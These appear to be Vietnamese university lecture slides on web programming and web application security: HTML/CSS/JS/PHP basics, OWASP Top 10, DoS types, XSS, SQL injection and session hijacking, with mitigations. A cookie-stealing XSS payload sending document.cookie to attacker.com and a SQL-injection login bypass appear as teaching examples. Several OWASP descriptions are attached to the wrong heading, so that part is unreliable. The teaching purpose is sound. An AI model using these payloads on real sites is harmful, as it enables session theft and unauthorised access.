Professional Documents
Culture Documents
1
HÌNH THỨC HỌC; KIỂM TRA VÀ ĐÁNH GIÁ
Lý thuyết
- Học trực tuyến thông qua Google Meet
Thực hành
- Học trực tiếp (Dự kiến như vậy)
Kiểm tra kết thúc môn học
- 10%
- 40%
- 50%: Thi thực hành
2
HÌNH THỨC HỌC; KIỂM TRA VÀ ĐÁNH GIÁ
Ngôn ngữ:
- HTML/CSS/JS/
- PHP, NODEJS
3
CHƯƠNG 1: ÔN TẬP LẬP TRÌNH WEB
4
CHƯƠNG 1: ÔN TẬP LẬP TRÌNH WEB
5
1. Khái niệm
WEBSITE: là một tập hợp nhiều trang WEB bao gồm văn
bản, hình ảnh, video,… được truy cập thông tin địa chỉ IP hoặc
tên miền và tất cả chúng được lưu trữ trên một máy chủ WEB
và có thể truy cập thông qua mạng máy tính.
Trang WEB: là tập tin HTML hoặc XHTML có thể truy nhập
qua giao thức HTTP hoặc HTTPS. Website có thể được xây
dựng từ các tệp tin HTML (Website tĩnh) hoặc vận hành bằng
các CMS chạy trên máy chủ (Website động)
7
1. Khái niệm
Hyperlink: Hyperlink là một liên kết chỉ đến một trang web
khác, hoặc trên chính trang web hiện hành. Một trang web có
thể chứa nhiều link. Người dùng có thể bấm vào.
HTTP/HTTPS (HyperText Transfer Protocol): là giao thức
truyền tải siêu văn bản được sử dụng để truyền tải dữ liệu
giữa Web server đến các trình duyệt Web và ngược lại.
8
2. Các thành phần của Website
Có 3 thành phần chính:
₋ Tên miền: Là địa chỉ chính xác của một website tên miền chỉ
tồn tại một và duy nhất trên mạng Internet.
₋ Máy chủ WEB: Là nơi lưu trữ toàn bộ dữ liệu của trang web,
từ thôn tin, email, dữ liệu, hình ảnh,…Nếu không có thành
phàn này, website đó vĩnh viễn không được xuất hiện trên
Internet.
₋ Mã nguồn: Bao gồm toàn bộ các tệp tin HTML, XTML,… và
kết hợp với một hoặc nhiều ngôn ngữ lập trình bật cao.
9
2. Các thành phần của Website
12
Ví dụ về trang HTML
<html>
<head>
<title>Title of page</title>
</head>
<body>
This is my first homepage. <b>This text is bold</b>
</body>
</html>
Sử dụng trình duyệt web (Chrome;….) để xem nội dung vừa tạo
13
HTML Tags
Thẻ HTML được sử dụng để đánh dấu các phần tử HTML
– Được bao quanh bởi dấu ngoặc < và >
– Thẻ HTML thường có các cặp, như <tagname> (thẻ bắt đầu) và
</tagname> (thẻ kết thúc)
– Văn bản giữa thẻ bắt đầu và thẻ kết thúc là nội dung phần tử
– Không phân biệt hoa thường
14
Tag Attributes
Thẻ có các thuộc tính cung cấp thông tin bổ sung cho phần tử
Thuộc tính luôn được chỉ định trong thẻ bắt đầu
Giá trị thuộc tính phải luôn được đính kèm trong dấu ngoặc
kép.
Ví dụ:
<tagname a1=“v1” a2=“v2”></tagname>
<table border="0">…..</table>
15
HTML Document Structure
Two subparts:
Head
Enclosed within <head> and </head>
Body
Enclosed within <body> and </body>
16
1.4 CSS
CSS là ngôn ngữ định kiểu theo tầng được dùng để tạo bố cục, trang trí,
thiết lập màu nền, màu chữ, kích thước
17
1.4 CSS
Có 3 cách để sử dụng CSS
Inline Style Sheet (Nhúng CSS vào tag HTML)
Embedding Style Sheet (Nhúng CSS vào trang web)
External Style Sheet (Liên kết CSS với trang web)
<p style=“color: red;”>Xin chào</p>
Ví dụ về nhúng CSS vào trang web
p,h1,h2 {
margin-top:0px;
margin-bottom:100px;
padding:20px 40px 0px 40px;
}
18
1.4 CSS
Thứ tự ưu tiên áp dụng định dạng khi sử dụng các loại CSS (độ ưu tiên
giảm dần) :
1. Inline Style Sheet
2. Embedding Style Sheet
3. External Style Sheet
4. Browser Default
19
1.4 CSS
<HTML>
<head>
<title>Hello World</title>
<style type=“text/css”>
p,h1,h2 {
margin-top:0px;
margin-bottom:100px;
padding:40px 40px 0px
40px;
}
</style>
</head>
<body bgcolor = “#000000”>
<font color = “#ffffff”>
<h1>Hello World<h1>
</font>
</body>
</HTML>
20
1.6 JavaScript
‐ JavaScript là ngôn ngữ kịch bản.
‐ JavaScript tăng cường tính động và tính tương tác của các trang web.
21
1.6 JavaScript
Sử dụng thẻ <script></script >
<script language="JavaScript">
<!--
JavaScript statements;
//-->
</script>
22
1.6 JavaScript
<html>
<head>
<script language = "Javascript">
confirm ("Are you Sure?");
alert("OK");
document.write(" Thank You !");
</script>
</head>
</html>
23
Các lệnh có cấu trúc
if ... else
while
switch case
do ... while
for ... in
for
24
Hàm trong JS
function fnName([param1],[param2],...,[paramN])
{
//function statement
}
26
HTML DOM (Document Object Model)
document.getElementById('id_cần_tìm')
document.getElementsByTagName('div')
document.getElementsByName('tên_cần_tìm')
27
HTML DOM (Document Object Model)
Thay đổi HTML
<p id="demo"></p>
<script>
document.getElementById("demo").innerHTML =
"The text from the intro paragraph is";
</script>
28
HTML DOM (Document Object Model)
HTML DOM Events
<h1 onclick="changeText(this)">Click on this text!</h1>
<script>
function changeText(id) {
id.innerHTML = "Ooops!";
}
</script>
29
1.7 PHP
Tổng quan
30
1.7 PHP
CÂU HỎI: VẬY ĐỂ PHÁT TRIỂN MỘT ỨNG DỤNG WEB BẰNG
PHP THÌ CHÚNG TA CẦN NHỮNG CÔNG CỤ NÀO?
31
1.7 PHP
Tổng quan
*.php
32
1.7 PHP
PHP hoạt động như thế nào?
Khi có người dùng gọi trang PHP,
web máy chủ sẽ triệu gọi PHP
Engine thông dịch trang PHP và
trả lại kết quả cho người dùng.
33
1.7 PHP
CÚ PHÁP PHP
Cách 1. <?php
echo "Welcome to the world of php";
?>
Cách 2. <?
echo “Welcome to the world of php";
?>
Comment <?php
# Đây là comment
// Đây cũng là comment
?> 34
1.7 PHP
ECHO VÀ PRINT TRONG PHP
<?php
$name = "John";
echo $name;
echo($name);
echo $name, $profile, $age, " years old";
?>
<?php
$name="John";
print $name;
print ($name);
?>
35
1.7 PHP
FORM SUBMIT
<?php
$TEN = $_POST['name'];
$HO = $_GET['name'];
?>
Connect to MySQL
Server
Excute T-SQL
Return Data
37
1.7 PHP
PHP & MySQL
<?php
$servername = "localhost";
$username = "username";
$password = "password";
// Create connection
$conn = new mysqli($servername, $username, $password);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully";
?>
38
1.7 PHP
SESSION
39
1.7 PHP
SESSION
<?php
// Start the session
1 session_start();
<?php
?>
// Set session variables
2 $_SESSION["favcolor"]
= "green";
<?php ?>
3 echo $_SESSION["favcolor"];
?>
40
1.7 PHP
COOKIE VÀ SESSION
Giống như session, cookie cũng được dùng để lưu những thông tin tạm thời.
Nhưng tập tin cookie sẽ được truyền từ server tới browser và được lưu trữ trên
máy tính của bạn khi bạn truy cập vào ứng dụng.
41
1.7 PHP
HÃY SO SÁNH ĐIỂM GIỐNG VÀ KHÁC NHAU GIỮA
SESSION VÀ COOKIE ?
42
1.7 PHP
COOKIE
Cookie Session
Cookie được lưu trữ trên trình duyệt của Session không được lưu trữ trên trình
người dùng. duyệt.
Dữ liệu cookie được lưu trữ ở phía client. Dữ liệu session được lưu trữ ở phía server.
Dữ liệu cookie dễ dàng sửa đổi hoặc đánh Dữ liệu session không dễ dàng sửa đổi vì
cắp khi chúng được lưu trữ ở phía client. chúng được lưu trữ ở phía máy chủ.
Dữ liệu cookie có sẵn trong trình duyệt đến Sau khi đóng trình duyệt sẽ hết phiên làm
khi expired. việc (session)
43
1.7 PHP
COOKIE VÀ SESSION QUÁ TRÌNH ĐĂNG NHẬP
44
CHƯƠNG 2: TỔNG QUAN AN TOÀN ỨNG
DỤNG WEB (6:3:18)
45
CHƯƠNG 2: TỔNG QUAN AN TOÀN ỨNG DỤNG
WEB (6:3:18)
1.1 Các khái niệm 1.2 Hoạt động của một ứng dụng Web
1.1.1 Hacker 1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
1.1.2 HTTP Header 1.4 Một số vấn đề về tấn công ứng dụng web
47
1.1 Các khái niệm
1.1.1 Hacker
Dựa vào kỹ năng và mục đích xâm nhập hệ thống mà chúng ta có thể phân thế giới
hacker thành nhiều loại:
₋ Hacker mũ trắng
₋ Hacker mũ đen
₋ Hacker mũ xám
₋ Hacker mũ xanh
₋ Hacker mũ đỏ
48
1.1 Các khái niệm
1.1.2 HTTP Header
₋ Protocol: Thường là phương thức HTTP (hoặc HTTPs - phương thức bảo mật nâng
cấp của HTTP).
₋ Domain: Tên dùng để định danh một hoặc nhiều địa chỉ IP, nơi mà tài nguyên đang
được lưu trữ.
₋ Path: Chỉ định vị trí tài nguyên trên máy chủ. Nó sử dụng chung logic như vị trí tài
nguyên được sử dụng trên thiết bị (máy chủ server)
₋ Parameters: Các dữ liệu thêm được sử dụng để xác định hoặc sàng lọc tài nguyên
trên server.
49
1.1 Các khái niệm
1.1.2 HTTP Header
50
1.1 Các khái niệm
1.1.2 HTTP Header
Http Header là phần đầu của http trong mỗi
yêu cầu mà client gửi tới server, cũng như
phản hồi của server gửi về cho client.
Http Header chứa thông tin chủ yếu về
client và server. Cụ thể là thông tin của
trình duyệt, thông tin cấu hình server, ngày
tháng, thông tin về request page, kiểu dữ
liệu truyền tải,...
51
1.1 Các khái niệm
1.1.2 HTTP Header
52
1.1 Các khái niệm
1.1.2 HTTP Header
1.1.3 Session
1.1.4 Cookie
1.1.5 Proxy
53
1.1 Các khái niệm
1.1.5 Proxy
Proxy có nhiệm vụ như một cách cửa giữa kết nối người dùng và Internet. Hoạt động
như tường lửa và bộ lọc web.
Proxy Server cung cấp kết nối mạng chia sẻ và dữ liệu bộ nhớ cache để tăng tốc các yêu
cầu thông thường.
Thay cho việc gán cho mỗi máy khách một kết nối Internet trực tiếp thì trong trường
hợp này. Tất cả kết nối bên trong đều có thể được cho qua một hoặc nhiều proxy và lần
lượt kết nối ra ngoài.
54
1.1 Các khái niệm
1.1.5 Proxy
55
1.1 Các khái niệm
1.1.5 Proxy
Proxy Server cung cấp nhiều tính năng quan trọng trên các mạng diện rộng, điển hình
như.
₋ Tường lửa và Filtering
₋ Chia sẻ kết nối với Proxy Server
₋ Proxy Server và Caching
56
1.1 Các khái niệm
1.1.5 Proxy
Lợi ích của việc sử dụng Proxy Server
Riêng tư: Tôi có thể dùng máy chủ Proxy để truy cập Internet một cách riêng tư
Điều khiển: Trên Internet sẽ tiềm ẩn rất nhiều nguy cơ. Khi sử dụng máy chủ Proxy, các
nội dung của tôi được lọc và trở nên an toàn hơn.
Tăng tốc độ và tiết kiệm băng thông: Việc sử dụng Proxy Server một cách hiệu quả đã
giúp cho mạng tổng có hiệu suất tốt hơn
Truy cập vào nội dung bị chặn: Máy chủ Proxy cho phép công ty hạn chế người dùng
truy cập một số nội dung
57
1.1 Các khái niệm
1.1.5 Proxy
Điểm khác nhau giữa VPN và Proxy
58
1.2 Hoạt động của một ứng dụng Web
1.Trình duyệt gửi đi các “lệnh” (gọi là truy vấn
– HTTP Request);
59
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
OWASP (Open Web Application Security Project) là 1 dự án mở về bảo mật
ứng dụng web, dự án là sự cố gắng chung của cộng đồng với mục đích giúp các
doanh nghiệp có thể phát triển, mua và bảo trì các ứng dụng web một cách an
toàn.
Mục tiêu chính của OWASP Top 10 là để hướng dẫn người lập trình viên, người
thiết kế, kỹ sư, quản lí và cả tổ chức về hậu quả của những điểm yếu quan
trọng nhất trong ứng dụng web.
60
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A1 – Injection ( Lỗi mã nhúng ):
Xảy ra trong các ứng dụng như SQL,
LDAP khi những dữ liệu không xác
thực được gửi tới hệ thống biên dịch
như một phần của mã lệnh. Những
dữ liệu này của kẻ tấn công có thể
lừa hệ thống biên dịch thực hiện
những mã lệnh độc hại hoặc giúp kẻ
tấn công xâm nhập đến những dữ
liệu quan trọng một cách trái phép.
61
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A2 – Broken Authentication and Session Management ( Sai lầm trong
kiểm tra định danh ):
62
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A3 – Cross Site Scripting ( XSS – thực thi script độc hại )
Xảy ra khi người phát triển để lộ một tham chiếu đến những đối tượng trong hệ
thống như các tập tin, thư mục hay chìa khóa dữ liệu. Nếu chúng ta không có một
hệ thống kiểm tra truy cập, kẻ tấn công có thể lợi dụng những tham chiếu này để
truy cập dữ liệu một cách trái phép..
64
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A5 – Security Misconfiguration (Sai sót cấu hình an ninh)
Một cơ chế an ninh tốt cần phải định nghĩa những hiệu chỉnh về an ninh và triển
khai nó cho các ứng dụng, khuôn mẫu, máy chủ ứng dụng, máy chủ web, máy
chủ dữ liệu và các ứng dụng nền tảng.
Tất cả những thiệt lập nên được định nghĩa, thực hiện và bảo trì bởi vì rất nhiều
thứ không được triển khai với thiết lập an toàn mặc định. Các hiệu chỉnh cũng bao
gồm cập nhật phần mềm và những thư viện được sử dụng bởi ứng dụng.
65
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A6 - Sensitive Data Exposure (Tiếp xúc với dữ liệu nhạy cảm )
Các dữ liệu nhạy cảm được lưu trữ không an toàn có thể gây ra những ảnh hưởng
to lớn cho hệ thống máy chủ, cũng như cho khách hàng.
66
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A7 – Missing Function Level Access Control ( Sai sót hạn chế truy cập
)
Nhiều ứng dụng web kiểm tra quyền thực thi địa chỉ truy cập (URL) trước khi
dựng các liên kết và nút nhấn được bảo vệ. Tuy nhiên ứng dụng cũng phải thực
hiện những kiểm tra tương tự mỗi khi những trang thông tin được truy cập trực
tiếp nếu không kẻ tấn công có thể giả mạo URL để truy cập vào những trang
thông tin ẩn này
67
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A8 – Cross Site Request Forgery ( CSRF – Giả mạo yêu cầu )
Các lổ hỏng có thể có trong các thành phần (thành phần phát triển ứng dụng) như
các thư viện, các framework, và mô-đun phần mềm khác. Các thành phần này gần
như luôn luôn chạy với quyền cao nhất trong hệ thống.
Vì vậy, nếu bị khai thác, các thành phần này có thể gây mất dữ liệu nghiêm
trọng.Các ứng dụng sử dụng các thành phần tồn tại lổ hỏng có thể làm suy yếu
phòng thủ của hệ thống, cho phép một loạt các cuộc tấn công và ảnh hưởng đến
hệ thống
69
1.3 Tiêu chuẩn đánh giá an toàn ứng dụng web
A10 – Unvalidated Redirects and Forwards ( Thiếu thẩm tra chuyển hướng và
chuyển tiếp )
Ứng dụng web thường xuyên đưa người dùng đến những liên kết qua các website
khác, và sử dụng những thông tin thiếu tin cậy để xác định đích đến.
Nếu không được kiểm tra một cách cẩn thận, kẻ tấn công có thể lợi dụng để
chuyển nạn nhân đến các trang web lừa đảo hay phần mềm độc hại, hoặc chuyển
tiếp để truy cập các trang trái phép.
70
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.2. Tấn công chiếm hữu phiên làm việc (Session hijacking):
Ứng dụng web lưu trạng thái mỗi phiên làm việc của người dùng bằng mã phiên
làm việc (session ID). Server sẽ cung cấp mỗi session ID khác nhau cho mỗi
người dùng khác nhau để chứng thực phiên làm việc đó.
Để duy trì phiên làm việc, SessionID thường được lưu vào:
- Tham số CGI
- Các cookie
Trong nhiều trường hợp, hacker giành được session ID hợp lệ của người
dùng để từ đó đột nhập vào phiên làm việc của họ
71
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.2. Tấn công chiếm hữu phiên làm việc (Session hijacking):
72
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.2. Tấn công chiếm hữu phiên làm việc (Session hijacking):
73
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.2. Tấn công chiếm hữu phiên làm việc (Session hijacking):
74
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.3 Lợi dụng các thiếu sót trong việc kiểm tra dữ liệu nhập hợp lệ
- Ứng dụng hoạt động thực hiện việc tiếp nhận dữ liệu từ người dùng là điều không tránh khỏi
- Có 2 vị trí thường sử dụng để kiểm tra dữ liệu
+ Client: Sử dụng các thẻ HTML hoặc Javascript để kiểm tra.
+ Server: Kiểm tra qua dữ liệu được gửi lên
- Không kiếm soát tốt dẫn đến nhiều lỗi ngoài ý muốn
+ Làm sai soát dẫn đến sai thông tin
+ Thực thi những ma độc vô tình được chèn vào dữ liệu
+ Gây lỗi hoặc giảm hiệu suất ứng dụng
75
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.3 Lợi dụng các thiếu sót trong việc kiểm tra dữ liệu nhập hợp lệ
76
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.4 Để lộ thông tin
- Tấn công từ chối dịch vụ DoS là các cuộc tấn công trên hệ thống mạng nhằm ngăn cản
những truy xuất tới một dịch vụ.
- Tấn công DoS làm cho các dịch vụ mạng bị tê liệt, không còn khả năng đáp ứng được yêu
cầu bằng cách làm tràn ngập số lượng kết nối, quá tải server hoặc chương trình chạy
trên server, tiêu tốn tài nguyên của server.
- Loại tấn công này ảnh hưởng đến nhiều hệ thống, rất dễ thực hiện và rất khó bảo vệ.
77
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ
Tấn công trên Swap space: Hầu hết các hệ thống đều có vài trăm MB không gian chuyển đổi
(Swap space) để phục vụ những yêu cầu từ máy khách. Swap space thường dùng cho các tiến
trình con có thời gian ngắn, nên DoS có thể dựa trên phương thức làm tràn đầy Swap space.
Tấn công trên Bandwidth: Phần băng thông dành cho mỗi hệ thống là giới hạn, vì thế nếu
hacker cùng lúc gửi nhiều yêu cầu đến hệ thống thì phần băng thông không đủ đáp ứng cho
một khối lượng dữ liệu lớn đó và dẫn đến hệ thống bị phá vỡ.
78
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ
Tấn công vào Ram: Tấn công Dos chiếm một khoảng lớn bộ nhớ của Ram, cũng có thể gây ra
các vấn đề phá hủy hệ thống. Kiểu tấn công Buffer Overflow là một ví dụ cho cách phá hủy
này.
Tấn công vào Disks: Một kiểu tấn công cổ điển là làm đầy đĩa cứng. Đĩa cứng có thể bị tràn
và không thể được sử dụng nữa.
79
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ
a. Tấn công vào băng thông
81
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ
c. DrDoS (Distributed Reflection Denial of Service) - Tấn công từ chối dịch vụ phản xạ nhiều
vùng.
Mục tiêu chính của DrDoS là chiếm đoạt toàn bộ băng thông của máy đích, tức là làm tắc nghẽn hoàn
toàn đường kết nối từ máy đích vào xương sống của Internet và làm tiêu hao tài nguyên.
Trong suốt quá trình máy đích bị tấn công bằng DrDoS, không một máy khách nào có thể kết nối được
vào máy đích đó. Tất cả các dịch vụ chạy trên nền TCP/IP như DNS, HTTP, FTP, POP3, ... đều bị vô hiệu
hóa
82
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ
Tấn công kiểu Smurf Attack: Kiểu tấn công này cần một hệ thống rất quan trọng, đó là mạng khuyếch
đại. Hacker dùng địa chỉ của máy tính cần tấn công bằng cách gửi gói tin ICMP echo cho toàn bộ mạng
(broadcast). Các máy tính trong mạng sẽ đồng loạt gửi gói tin ICMP reply cho máy tính mà hacker muốn
tấn công. Kết quả là máy tính này sẽ không thể xử lý kịp thời một lượng lớn thông tin và dẫn tới bị treo
máy.
83
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ
Tấn công kiểu Tear Drop: Trong mạng chuyển mạch gói, dữ liệu được chia thành nhiều gói tin nhỏ, mỗi
gói tin có một giá trị offset riêng và có thể truyền đi theo nhiều con đường khác nhau để tới đích. Tại đích,
nhờ vào giá trị offset của từng gói tin mà dữ liệu lại được kết hợp lại như ban đầu. Lợi dụng điều này,
hacker có thể tạo ra nhiều gói tin có giá trị offset trùng lặp nhau gửi đến mục tiêu muốn tấn công. Kết
quả là máy tính đích không thể sắp xếp được những gói tin này và dẫn tới bị treo máy vì bị "vắt kiệt" khả
năng xử lý.
84
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ
Phá hoại hoặc chỉnh sửa phần cứng: Lợi dụng quyền hạn của chính bản thân kẻ tấn công đối với các
thiết bị trong hệ thống mạng để tiếp cận thay đổi trực tiếp hoặc từ xa các thông tin quan trọng của thiết
bị hay phá hoại các thiết bị phần cứng như router, switch,…
85
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ
86
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ
₋ Việc giả mạo địa chỉ khiến cho hacker càng dễ dàng thực hiện viêc tấn công mà không sợ bị phát hiện.
Thông thường kỹ thuật này được thực hiện kèm theo sự hỗ trợ của vài công cụ như Ping of death, Tear
drop,…
87
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ
₋ Phòng ngừa các điểm yếu của ứng dụng. Lỗi chủ yếu được tìm thấy trên các ứng dụng mạng nội bộ của
Windows, trên các chương trình Webserver, DNS, hay SQL database. Cập nhật bản vá là một trong
những yêu cầu quan trọng cho việc phòng ngừa.
₋ Dùng tính năng lọc dữ liệu, tính năng cho phép đặt rate limit của router / firewall để loại bỏ các packet
không mong muốn, giảm lượng lưu thông trên mạng và tải của máy chủ, hạn chế số lượng packet vào
hệ thống
88
1.4 Một số vấn đề về tấn công ứng dụng web
1.4.5 Từ chối dịch vụ
₋ Sử dụng các biện pháp kiểm tra hoạt động của hệ thống một cách liên tục để phát hiện ngay những
hành động bất bình thường
89
CHƯƠNG 3: CÁC KỸ THUẬT TẤN
CÔNG VÀ BẢO MẬT ỨNG DỤNG
WEB(12:15:54)
90
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)
91
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.1 Thao tác trên tham số truyền
Những thông tin trao đổi giữa máy chủ và trình duyệt được lưu trữ trong những
biến như biến trên URL, biến ẩn Form, Cookie…
Bởi vì việc kiểm soát biến chưa được quan tâm đúng mức nên có thể lợi dụng sửa đổi
giá trị biến để đánh cắp phiên làm việc của người dùng hay thay đổi giá trị một món
hàng….
92
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)
Phương pháp Cross Site Scripting (được viết tắt là XSS) là phương pháp tấn công bằng cách
chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những thông tin quan
trọng như cookies, mật khẩu,… vào mã nguồn ứng dụng web
Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính máy
người sử dụng.
93
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)
94
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)
Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ hỏng XSS
Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web
(như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…).
Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của
người dùng như “Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ
bạn”…
95
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)
Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker
<a href="http://hotwired.lycos.com/webmonkey/index1.html?
tw=<script>document.location.replace('http://www.attacker.com/
steal.cgi?'+document.cookie);</script>">
</a>
<script>
document.location.replace('http://www.attacker.com/steal.cgi?'+document.cookie);
</script>
96
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)
Bước 4: Hacker tạo một chương trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một trang
Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin.
Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập
vào tài khoản của người dùng
97
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)
Với những dữ liệu, thông tin nhập của người dùng, người thiết kế ứng dụng Web cần phải thực
hiện vài bước cơ bản sau:
‐ Tạo ra danh sách những thẻ HTML được phép sử dụng.
‐ Xóa bỏ thẻ <script>
‐ Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related/PHP
‐ Lọc dấu nháy đơn hay kép
‐ Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null khiến cho ứng dụng dù đã
lọc bỏ thẻ <script> vẫn không nhận ra do ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null
này).
‐ Xóa những kí tự “ > ”, “ < ”
‐ Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn riêng.
98
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)
Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại chỉ dừng lại ở mức
độ tấn công trên máy nạn nhân.
Vì thế, ngoài việc kiểm tra tính hợp lệ của dữ liệu thì người dùng cần hiểu và ý thức tốt về
an toàn thông tin cá nhân trước những thông tin lừa đừa trên môi trường mạng.
99
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.3 Chèn câu truy vấn SQL (SQL Injection)
‐ Lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong lớp database của ứng dụng
‐ Thi hành các truy vấn SQL bất hợp pháp
‐ Hậu quả: hacker có toàn quyền trên cơ sở dữ liệu của ứng dụng
Lỗi SQL Injection kết hợp với một số ký tự đặc biệt như:
‐ kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn
100
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.3 Chèn câu truy vấn SQL (SQL Injection)
Username: admin'--
Pass: anything
101
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.3 Chèn câu truy vấn SQL (SQL Injection)
Tác hại
103
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.3 Chèn câu truy vấn SQL (SQL Injection)
104
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.4 Chiếm hứu phiên làm việc (Session Management)
‐ HTTP là giao thức truyền tải văn bản phi trạng thái
‐ Session -lưu trữ trạng thái làm việc giữa trình duyệt và máy chủ
‐ Session ID là khoá để chứng thực phiên làm việc.
‐ Session ID được lưu vào:
‐ Biến trên Url (query string)
‐ Biến ẩn form
‐ Cookies
105
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.4 Chiếm hữu phiên làm việc (Session Management)
106
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WED
3.4 Chiếm hữu phiên làm việc (Session Management)
107
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.4 Chiếm hữu phiên làm việc (Session Management)
108
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.4 Chiếm hữu phiên làm việc (Session Management)
109
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.4 Chiếm hữu phiên làm việc (Session Management)
Ví dụ
- A là một member bình thường, B có quyền Admin.
- A và B cùng đăng nhập vào diễn đàn
- A gửi cho B một tin nhắn, hoặc post một bài vào một topic nào đó với nội dung có kèm một
tấm hình hoặc file flash đính kèm đoãn mã độc ẩn bên dưới.
Khi rê chuột lên tấm hình, cookies của A sẽ được send về host.com.
110
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.4 Chiếm hữu phiên làm việc (Session Management)
‐ Cần thuật toán tốt để tạo sessionid (gây khó khăn cho việc dự đoán của hacker).
‐ Xoá bỏ sessionid sau khi người dùng logout.
‐ Kết hợp SessionID với thông tin chứng thực mã hoá SSL của người dùng
‐ Thiết lập thời gian hết hiệu lực cho session, tránh trường hợp hacker có thể duy trì
session là sử dụng nó lâu dài.
‐ Áp dụng cách phòng chống như XSS
111
